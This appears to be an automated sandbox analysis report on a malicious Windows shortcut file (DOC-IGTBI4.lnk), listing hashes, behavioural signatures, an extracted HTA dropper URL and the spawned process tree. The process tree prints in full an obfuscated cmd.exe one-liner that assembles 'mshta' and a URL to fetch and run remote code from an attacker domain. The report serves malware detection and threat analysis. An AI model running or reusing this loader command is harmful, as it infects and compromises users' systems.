Analysis
- max time kernel
40s - max time network
41s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 22:11
Static task
static1
Behavioral task
behavioral1
Sample
DOC-IGTBI4.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-IGTBI4.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-IGTBI4.lnk
- Size 2KB
- Sample260803-14ae9aydnd
- SHA256 9696f2f78d7e5af935d0aac2abba5f4dad01ca3ae30144db1b5564c80df6305d
- MD5 0afeb2ff0e3e7ded842f4f52bc493695
- SHA1 391b00d89850c40d7bc939e70564d7db77305ac9
- SHA512 e393b5dd58e3bf0f554a311632c46a885bede2044d2622a386706a99f2451e3ddbe5e233bb223ffa40b77d562440cc3986ad6c941b6b3744b145f5e15b4ca174
- TLSH T17F4105803AFA51D9F3FA8EB2EDFE678149BBB9555DA0C59C4840820C1432B01D5B3F63
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5252 cmd.exe 3720 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3720 wrote to memory of 5252 3720 cmd.exe 90 PID 5252 wrote to memory of 4584 5252 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-IGTBI4.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set wF=rmshtvoi&&set Lf=gljaj&&set XqF=winogfmqgywwwwin&&set Td=netskyvblaqrfuenet&&set wfOxE=baktkmztdmebak&&set tjRkw=logerkpmtxcvlog&&set LrWU=oldiaphffcnlaqeyaold&&set lVVX=tmpeibcyfvxedavwimrtmp&&set lCFKP=cfgfvvctuyjqizrmrqcfg&&set QFG=winkvndmcewin&&set UHf=loglrzebuanunswtpxlog&&set Aa=rn8starpzt&&set FMZwo=xjltldq&&set ofN=cfgmqevadfecfg&&set BFHx=bakesppgdburmnzzhvuxsbak&&set FEsx=ht@tps@:@//k-@d@ocume@n@tacio@[email protected]@t@/@h/[email protected]@p@?r=@3F@147@7@F1539@8D1&&start /b !wF:~1,4!!Lf:~3,1! !FEsx:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5252 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4584
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